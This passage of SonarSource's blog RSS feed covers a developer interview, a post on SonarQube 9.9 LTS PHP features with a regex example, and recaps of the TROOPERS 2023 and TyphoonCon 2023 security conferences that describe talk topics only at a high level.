make that happen. And once you&amp;#x27;ve decided on an implementation strategy, even finer details can change.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/rHOCgaZG9Cc&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;PN&lt;/strong&gt;: I was never really a child that knew what they wanted to be when they grew up. I didn&amp;#x27;t know I wanted to be a developer for quite a long time. But as I look back through my life, I can see a thread that led me to the point where I wanted that. The first interaction I had with a computer at school was with Logo, the turtle you gave instructions to that would draw things on the screen. Then at 13 or 14, I remember doing a class on HTML. I specifically remember building a page about ourselves, and I put things into a table and formatted it to my liking. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I did computer science at the end of high school, leading to a Maths and Computer Science Degree. When I should’ve been focusing on final exams, I was messing around and building websites for myself and people I knew, and I realized I could do this as a job. Once I realized that, I set out to get my job as a Junior Developer. I built a blog and started writing about what I was learning, ultimately leading me to become a developer about a year later.&lt;/p&gt;&lt;h3&gt;&lt;strong&gt;&lt;em&gt;Tell us about one of your greatest lessons as a developer.&lt;/em&gt;&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;BD&lt;/strong&gt;: One of the things that I learned early on in my career was the importance of motivating my team. As a manager of developers, one of the biggest lessons I learned was that you could do more for a team by doing less. You can increase productivity by supporting the team as people rather than just helping with the coding side of things.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It&amp;#x27;s important, even if it&amp;#x27;s basic, like buying everybody lunch and ensuring everybody has a break to decompress. It was a huge lesson to reflect on - how my efforts could be best applied for the greater good. Where you think your capabilities are best directed is not always the right thing for the team.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;PN&lt;/strong&gt;: One of the greatest lessons I’ve learned as a developer is that there is far too much stuff in this industry for anyone to know. It’s the case that people are pushing the boundaries of programming and development daily. The more you learn, the more you know there is to learn. So taking a step back and understanding that you don&amp;#x27;t need to learn it all can melt that stress away. Instead, it’s just important to understand the fundamentals of the language and platform you’re building in, and from strong foundations like that, you’ll be able to learn anything else you need to when you need it.&lt;/p&gt;&lt;h3&gt;&lt;strong&gt;&lt;em&gt;What advice would you give someone starting as a developer?&lt;/em&gt;&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;BD&lt;/strong&gt;: Today, you can&amp;#x27;t rely on generative AI tools to write your code 100% of the time. They are not a suitable alternative for a human. While humans may write buggy code, they can also fix buggy code. Your computer doesn&amp;#x27;t know whether the code is buggy just by looking at it. Right now, AI will not remove the need for software developers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Humans are still a big part of the development process. However, if you want to be a developer, it&amp;#x27;s important to understand deeper levels of just the web development or the coding side of software engineering. Understanding good software architecture is going to become a lot more critical. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We&amp;#x27;ll get to the point where developers will still exist; they&amp;#x27;ll just be using AI tools to improve their productivity. We&amp;#x27;re going to be able to create software more quickly and reliably.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;PN&lt;/strong&gt;: If you&amp;#x27;re starting as a developer, write about your experiences and what you learn and publish them. There are an enormous amount of benefits to writing about your experiences. And they start with the personal. When you write about something as if to explain it to someone else, you have to dig a little bit deeper into your understanding of it to turn that into an explanation. You end up learning the subject with greater clarity and understanding. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you create a library of your knowledge on a subject and publish this, those writings can go towards helping other people in the community. How you explain something can be the key to unlocking the understanding of someone else. Writing can also come with different opportunities, like networking and collaboration. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;My entire career is based on the fact that I started writing about web development to learn about it. That got my foot in the door at my first two job opportunities. Continuing to write, learn, and publish led me to share that knowledge and developer relations as a job. I chose to start writing about my experiences right at the start of my career has led to many opportunities, and I recommend that you do the same.&lt;/p&gt;&lt;h3&gt;&lt;strong&gt;&lt;em&gt;As a developer, what does Clean Code mean to you?&lt;/em&gt;&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;BD&lt;/strong&gt;: It means something is readable by the next person. Nowadays, it&amp;#x27;s more important to think about the next person who will read your code rather than what the computer does with it like we used to in the past when computers had limited memory and processing power. If the next person who reads it can understand what it&amp;#x27;s doing in a minute instead of 10 minutes, then you are improving the future performance of developers. You&amp;#x27;re more likely to identify business logic issues, security issues, and bugs as you’re coding rather than waiting for somebody to report an issue with your software.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While we like to think of ourselves as individual contributors that come together now and then, we are often more co-dependent on our teammates. How your team interacts is important; there&amp;#x27;s more communication going on than you think. Communication through Clean Code is as essential as rituals like stand-ups and retrospectives.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;PN&lt;/strong&gt;: Clean Code corrects me the first time. It means avoiding writing unnecessary bugs or overly complicated code or introducing security issues. It’s code that you’re confident to deploy to production but happy when you return to it six months or a year later to work with again. Clean Code is never legacy code - it’s always a joy to work with.&lt;/p&gt;&lt;p&gt;Read more of our interviews in these related blog posts:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/interview-with-sonar-python-developers-part-1/&quot;&gt;Interview with Sonar Python Developers Part 1&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/interview-with-sonar-python-developers-part-2/&quot;&gt;Interview with Sonar Python Developers Part 2&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/interview-with-a-sonarsource-developer/&quot;&gt;Interview with a SonarSource Developer&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why SonarQube 9.9 LTS is a must-have for PHP Developers]]></title><description><![CDATA[PHP analysis gets faster and better with new rules, fixed false-positives, and much more in SonarQube 9.9 LTS.]]></description><link>https://www.sonarsource.com/blog/sonarqube-99-lts-php-developers</link><guid isPermaLink="false">202e0ced-44d9-5977-930c-8fea06422edb</guid><dc:creator><![CDATA[Colin Mueller]]></dc:creator><pubDate>Thu, 13 Jul 2023 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Clean Code is not a “nice-to-have” in the software development world; it&amp;#x27;s a must-have. That&amp;#x27;s where SonarQube comes in. It&amp;#x27;s made to help you and your team write pristine code fit for development and production.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, meet &lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-9-9-lts/&quot;&gt;SonarQube 9.9 LTS&lt;/a&gt;! With powerful PHP analysis and over 275 rules specifically designed for PHP developers, this version is a game-changer. Let&amp;#x27;s dive into the standout features and enhancements that make it an unmissable upgrade over previous versions, including the end-of-life SonarQube 8.9 LTS.&lt;/p&gt;&lt;h2&gt;Updates to the Analysis Engine&lt;/h2&gt;&lt;h3&gt;Supercharged Analysis Speed &lt;/h3&gt;&lt;p&gt;SonarQube 9.9 LTS speeds up analysis significantly for users of commercial editions of SonarQube through the introduction of incremental analysis for pull requests. This feature focuses on analyzing only the changes introduced in a pull request instead of the entire codebase. You can learn more about this in the &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/lts/9-9-lts/&quot;&gt;SonarQube 9.9 LTS announcement.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All of these speed boosts will ensure that you spend less time waiting and more time merging.&lt;/p&gt;&lt;h3&gt;Support for PHP 8.1 and 8.2&lt;/h3&gt;&lt;p&gt;A new SonarQube LTS includes support for new language versions, which means we’ve updated parsing to understand new syntax and to update rules for how they apply to the new language elements.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Keeping up with the evolving PHP ecosystem, SonarQube 9.9 LTS now extends its support to PHP 8.1 and 8.2. This means support for:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://php.watch/versions/8.1/enums&quot;&gt;Enums&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://php.watch/versions/8.1/intersection-types&quot;&gt;Intersection Types&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://php.watch/versions/8.1/readonly&quot;&gt;Readonly Properties&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://php.watch/versions/8.1/first-class-callable-syntax&quot;&gt;First-class callable syntax&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://php.watch/versions/8.1/explicit-octal-notation&quot;&gt;Explicit Octal numeral notation&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://php.watch/versions/8.1/final-class-const&quot;&gt;Final class constants&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://php.watch/versions/8.2/readonly-classes&quot;&gt;readonly Classes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;... and more!&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Import Psalm and PHPStan reports&lt;/h3&gt;&lt;p&gt;When using multiple tools to report issues on code, it can lead to a disjointed workflow if all the results aren’t in one place. Being able to import these reports issues into SonarQube means no more flipping between tools, no more scattered focus—just an integrated, clear view of your code&amp;#x27;s health to tackle issues directly.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Psalm and PHPStan, widely-recognized analyzers in the PHP community, can now be integrated more seamlessly with SonarQube 9.9 LTS. It offers the ability to import issue reports directly into SonarQube as external issues&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9981b812-edde-4fcb-9b50-711efa417e4a/PHPBlog1.png&quot; /&gt;&lt;h3&gt;Fewer False-Positives&lt;/h3&gt;&lt;p&gt;Sonar puts in a significant amount of effort to make sure only true issues are raised, and our developers are always reviewing issues raised by rules to make sure they are accurate and relevant. They also receive reports from our community and through commercial support channels.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS fixes community-reported false-positives like making sure that S1313 (Using hardcoded IP addresses is security-sensitive) &lt;a href=&quot;https://community.sonarsource.com/t/s1313-flags-ip-addresses-reserved-for-documentation-as-sensitive-false-positive/67999&quot;&gt;isn’t raised on reserved IP addresses&lt;/a&gt; and S3699 (The output of functions that don&amp;#x27;t return anything should not be used) &lt;a href=&quot;https://community.sonarsource.com/t/sonarcloud-php-invalid-analyzer-php-s3699-report-bug-who-does-not-exist/57496&quot;&gt;isn’t raised on arrow functions&lt;/a&gt;, and more!&lt;/p&gt;&lt;h2&gt;New Rules&lt;/h2&gt;&lt;h3&gt;Level-up your WordPress Plugin Development &lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Wordpress remains a wildly popular CMS in 2023 – by some estimates powering 40% of the websites on the internet today! Wordpress is written in PHP, so its &lt;a href=&quot;https://wordpress.org/plugins/&quot;&gt;ecosystem of plugins&lt;/a&gt; is developed with PHP as well. In the past, ensuring the maintainability and security of these plugins has been challenging due to scattered documentation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With the introduction of 9 new rules specifically targeted at Wordpress plugin developers, SonarQube 9.9 LTS helps ensure the development of maintainable and more secure WordPress plugins.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://community.sonarsource.com/t/sonarcloud-helps-to-make-sure-wordpress-plugins-are-safe/48668&quot;&gt;Find all the rules here.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On top of these new rules, we’ve adapted our advanced security analysis (available in commercial editions of SonarQube) to be aware of Wordpress sources, sinks, and sanitizers. Now you can be sure that only trusted data is being passed through your code – avoiding attacks like SQL and Path injection and URL redirection!&lt;/p&gt;&lt;h3&gt;Write clean and error-free regular expressions&lt;/h3&gt;&lt;p&gt;Regular expressions (regex) are sequences of symbols and characters expressing a string or pattern to be searched for within a longer piece of text. Regex is an incredible tool to express conditions that would otherwise require many lines of code to catch the same pattern.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While using regex is quite typical for developer, that does not make it easy to master. Writing regexes is error-prone and time-consuming, and they&amp;#x27;re difficult to document well. Once they are written, identifying errors in them can be extremely difficult. Not only are they difficult to write, but due to their size and complexity, they are often difficult to read and understand.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Take this example:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$re = &apos;/[a-z\:\/\/\.]+(youtube|youtu)\.(com|be)\/(watch\?v=|embed\/|.+\?v=)?([^&quot;&amp;?\s]{11})?/m&apos;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This regular expression is meant to match URLs like &lt;a href=&quot;https://www.youtube.com/watch?v=dQw4w9WgXcQ&quot;&gt;&lt;code&gt;https://www.youtu.be/watch?v=dQw4w9WgXcQ&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/embed/dQw4w9WgXcQ&quot;&gt;&lt;code&gt;https://www.youtube.com/embed/dQw4w9WgXcQ&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The third capturing group in this regular expression is &lt;code&gt;(watch\?v=|embed/|.+\?v=)?&lt;/code&gt; to account for variations in the URL format. You might not have noticed that the third alternative in this capturing group, &lt;code&gt;.+\?v=&lt;/code&gt;, is redundant, as it&amp;#x27;s already covered in the first alternative &lt;code&gt;watch\?v=&lt;/code&gt; and will never apply to &lt;code&gt;/embed/&lt;/code&gt; URLs.&lt;/p&gt;&lt;p&gt;So this regular expression can be simplified by removing the redundant alternative group, giving us a slightly more readable:&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$re = &apos;/[a-z\:\/\/\.]+(youtube|youtu)\.(com|be)\/(watch\?v=|embed\/|)?([^&quot;&amp;?\s]{11})?/m&apos;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That would have been hard for a developer to spot on their own. It&amp;#x27;s not hard at all for SonarQube.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2b718b48-b6aa-4bbd-b5dd-f0a69e030e5a/PHPBlog2.png&quot; /&gt;&lt;p&gt;In SonarQube 9.9 LTS our developers introduced 25 new rules to help PHP developers, write efficient, error-free, safe, and simpler regular expressions! You can find all the PHP rules related to regular expressions at &lt;a href=&quot;https://rules.sonarsource.com/php/tag/regex/&quot;&gt;rules.sonarsource.com&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Just an upgrade away from it all&lt;/h2&gt;&lt;p&gt;Crafted with developers in mind, SonarQube aims to assist developers in writing Clean Code. The enhancements in SonarQube 9.9 LTS reflect our ongoing commitment to providing you with a developer-first tool that tackles this goal head-on.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you haven’t tried SonarQube 9.9 LTS yet, I hope you now have even more reasons to prepare this upgrade with your team. This is a free version upgrade for all, and you can get the LTS in just a few clicks at &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot;&gt;SonarQube Downloads&lt;/a&gt;. You won&amp;#x27;t just be upgrading your SonarQube instance – you&amp;#x27;ll be upgrading your entire coding experience.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Need more help getting started? Check the following resources:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;SonarQube LTS Upgrade Checklist&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Get help upgrading using the &lt;a href=&quot;https://community.sonarsource.com/c/sq/9-9-lts-upgrade/47&quot;&gt;9.9 LTS Upgrade category of the Sonar Community&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Remember, these improvements aren&amp;#x27;t just limited to SonarQube. If you&amp;#x27;re using SonarCloud, you&amp;#x27;ll find all these enhancements there too.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[TROOPERS 2023 Conference Takeaways]]></title><description><![CDATA[Read about our key takeaways from the TROOPERS 2023 including our favorite talks and overall experience during the two days conference.]]></description><link>https://www.sonarsource.com/blog/troopers-2023-conference-takeaways</link><guid isPermaLink="false">312c8a88-daa8-5e8b-a4c6-d218609822b7</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Wed, 05 Jul 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TROOPERS is a well-established, international IT security conference with more than 3,500 attendees in ten years and speakers from 25+ countries. This year was the 15th time the conference took place in Heidelberg, Germany. The attendees from all over the world were able to enjoy a wide variety of technical talks divided into three categories: &lt;em&gt;Attack &amp;amp; Research&lt;/em&gt;, &lt;em&gt;Defense &amp;amp; Management&lt;/em&gt;, and &lt;em&gt;Active Directory &amp;amp; Azure Security&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attending this conference is an excellent opportunity for our Vulnerability Researchers to meet with the IT security community, keep up with the latest research trends and share their own knowledge by presenting a talk. Especially the wide variety of covered technologies and their related security challenges provide a great way to get a broader perspective and gain valuable insights, which are not only relevant to a specific technology.&lt;/p&gt;&lt;h2&gt;Venue and Events&lt;/h2&gt;&lt;p&gt;The conference took place in the halle02 in Heidelberg for the second time. This venue, usually used to host music events, is a converted warehouse and provides a lively but cozy atmosphere, which is a perfect fit for a technical conference like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a99f27c8-5227-410e-9ea4-309a16c4a955/troopers23_venue.jpeg&quot; /&gt;&lt;p&gt;&lt;em&gt;https://twitter.com/WEareTROOPERS/status/1674345822022975488&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The actual TROOPERS conference was preceded by two days of on-site training offering different topics such as Malware Analysis, Hacking Enterprises, and Incident Analysis. The conference itself was enriched by various events like a shared dinner with live music, a CTF-like PacketWars competition, and a roundtable discussion covering current IT security topics such as Cloud Security. Furthermore, there were different charity events like a 10k run and an auction to raise money for a good cause.&lt;/p&gt;&lt;h2&gt;Talks&lt;/h2&gt;&lt;p&gt;The three parallel tracks allowed a wide variety of topics and a total amount of 36 talks throughout the two days of the TROOPERS conference:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The keynote provided by Mikko Hypponen outlined the ways technology has changed our lives. This includes controversies such as organized crime carried out by ransomware groups, which offer 24/7 customer support to ensure their good reputation. Another topic that we cannot avoid when talking about today’s technology is, of course, AI. What will happen if we feed a code-writing AI with its own code over and over again to improve itself? Will we still be able to understand and control this creation?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The talk &lt;em&gt;Cat &amp;amp; Mouse - Or Chess?&lt;/em&gt; by Fabian Mosch explained how the latest Antivirus and EDR solutions identify malware by using userland hooks and which different techniques exist to bypass these. By adopting a recent AMSI bypass method, Fabian implemented a new way to also avoid EDR detection by suspending a process and preventing the EDR DLL from being loaded.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Alexander Heinrich and Jiska Classen presented their impressive research about Ultra Wideband technology in the talk &lt;em&gt;Attacking Ultra Wideband: Security Analysis of UWB Applications in Smartphones&lt;/em&gt;. The outlined attacks use different approaches to shorten the distance measured by Ultra Wideband devices. Since this technology is used to open modern cars, this potentially allows criminals to carry out relay attacks to steal these cars.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The talk &lt;em&gt;Testing and Fuzzing the Kubernetes Admission Configuration&lt;/em&gt; by Benjamin Koltermann and Maximilian Rademacher nicely explained how Kubernetes Admission Controllers work and what they are used for. Additionally, Benjamin and Maximilian presented a new tool to fuzz and test the configuration, which they demonstrated during a live demo.&lt;/p&gt;&lt;h2&gt;Monitoring Solutions: Attacking IT Infrastructure at its Core&lt;/h2&gt;&lt;p&gt;On the second conference day, our Vulnerability Researcher Stefan presented the talk &lt;em&gt;Monitoring Solutions: Attacking IT Infrastructure at its Core&lt;/em&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/cf0c9966-c7f7-4b9f-9c67-daa3fcdb4e05/troopers23_monitoring.jpeg&quot; /&gt;&lt;p&gt;&lt;a href=&quot;https://twitter.com/spoookyM/status/1674393734836789248&quot;&gt;&lt;em&gt;https://twitter.com/spoookyM/status/1674393734836789248&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A recording of the talk can be found here: &lt;a href=&quot;https://www.youtube.com/watch?v=hGne0DbR6bY&quot;&gt;YouTube - TROOPERS23: Monitoring Solutions: Attacking IT Infrastructure at its Core&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The talk outlined the necessity and importance of monitoring solutions and their value for attackers. Based on the technical architecture of common monitoring solutions, the corresponding attack surface is derived. After this, the talk deep-dives into four case studies covering Cacti, OpenNMS, Checkmk, and Netdata. For all these case studies, the code vulnerabilities we discovered resulted in a full Remote Code Execution chain showcased with individual exploitation demos during the talk. The conclusion summarized the common patterns of all code vulnerabilities, explained how these can be prevented, and what security researchers can learn from this. This demonstrates how important Clean Code is to prevent such attacks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Thank you to everyone attending the talk and to the organizers for having us!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;For everybody interested in the details about the related vulnerability, we recommend reading the following blog posts (articles on OpenNMS and Netdata will be published soon, too):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution/&quot;&gt;Cacti: Unauthenticated Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-1/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs&lt;/a&gt; (&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-2/&quot;&gt;part 2&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-3/&quot;&gt;part 3&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms/&quot;&gt;It’s a (SNMP) Trap: Gaining Code Execution on LibreNMS&lt;/a&gt; (not covered in the talk)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There were a lot of great talks throughout the conference. You can check out the complete list &lt;a href=&quot;https://troopers.de/troopers23/talks/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;The TROOPERS 2023 conference was awesome. The versatile venue, combined with the kindness and openness of all attending people, created a very enjoyable atmosphere. The different events alongside the high-quality talks additionally enrichened the overall experience. We would be very happy to be part of this great event again next year!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/db76ca60-75da-4ffd-80b6-9c1b4524fb93/troopers23_thankyou.jpeg&quot; /&gt;&lt;p&gt;&lt;em&gt;https://twitter.com/spoookyM/status/1674440874380472322&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Until then, we are looking forward to the following upcoming conferences, where we will present parts of our research:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.wearedevelopers.com/world-congress&quot;&gt;WeAreDevelopers Word Congress, July 27-28 in Berlin&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://defcon.org/&quot;&gt;DEFCON, August 10-13 in Las Vegas&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.hexacon.fr/&quot;&gt;Hexacon, October 13-14 in Paris&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And more to come soon!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/typhooncon-2023-wrap-up/&quot;&gt;TyphoonCon 2023 Wrap Up&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/reflections-from-offensivecon-2023/&quot;&gt;Reflections from OffensiveCon 2023&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/bits-from-hexacon-2022/&quot;&gt;Bits from Hexacon 2022&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[TyphoonCon 2023 Wrap Up]]></title><description><![CDATA[Last week, our Vulnerability Researchers traveled to TyphoonCon 2023 in Seoul to present their talk "Patches, collisions and root shells: a Pwn2Own Adventure".]]></description><link>https://www.sonarsource.com/blog/typhooncon-2023-wrap-up</link><guid isPermaLink="false">a0fca0ea-4be1-5775-85f4-afd88e2a0b6e</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Thu, 29 Jun 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Three of our Vulnerability Researchers traveled to Seoul to speak at TyphoonCon 2023, let&amp;#x27;s look into what happened! &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/334812ac-dcee-4b54-8a47-bc29d5dab054/typhoon-1.jpg&quot; /&gt;&lt;p&gt;TyphoonCon was created in 2018 by SSD Disclosure and named that way because of the typhoon that hit Hong Kong during the event–future events would later take place in Seoul. They aim to bring security practitioners from around the world to exchange about topics related to vulnerability research, exploitation techniques, reverse engineering, and other topics of the technical security industry. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Aside from the conference, there are also several days of training, an &lt;a href=&quot;https://ctftime.org/ctf/636&quot;&gt;online Capture the Flag competition&lt;/a&gt;, and a security contest, &lt;a href=&quot;https://typhooncon.com/typhoonpwn-2023/&quot;&gt;TyphoonPwn&lt;/a&gt;.  The organizers also take great care of their speakers and of the audience, with many organized events for everybody to meet and bond. And let&amp;#x27;s not forget the sightseeing sessions that gave us a taste of Seoul&amp;#x27;s beauty.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/693bf6bf-b572-4319-96ee-79c55ab6c3cf/typhoon-2.jpg&quot; /&gt;&lt;h2&gt;The talks&lt;/h2&gt;&lt;p&gt;Usually, keynotes at technical security conferences tend to cover the same topics so we were pleasantly surprised by Insu Yun’s&lt;em&gt; &lt;a href=&quot;https://typhooncon.com/blog/conitems/how-to-build-skynet/&quot;&gt;How to build Skynet – a system that hacks systems&lt;/a&gt;&lt;/em&gt; and his academic work on how to automatically discover, exploit and mitigate vulnerabilities. Yongil Lee closed the conference with &lt;a href=&quot;https://typhooncon.com/blog/conitems/exploring-offsec/&quot;&gt;&lt;em&gt;Exploring Offensive Security in Korea&lt;/em&gt;&lt;/a&gt;, where he gave insights into this industry in South Korea. The country invested a lot in offensive security to thwart new cyber-attacks by investing in research to discover 0-day vulnerabilities before threat actors do. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We then met with Johannes Willbold and Tobias Scharnowski of the Ruhr University Bochum who presented their research on the security of low-orbit satellites in &lt;a href=&quot;https://typhooncon.com/blog/conitems/zero-gravity-exploits/&quot;&gt;&lt;em&gt;Zero Gravity Exploits: Reverse Engineering and Fuzzing Low-Earth Orbit Satellites&lt;/em&gt;&lt;/a&gt;. Such devices also suffer from the usual bad security practices of embedded development and they could demonstrate how to take advantage of (simple) memory corruption vulnerabilities to take over satellites from ground stations.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we had a lot of 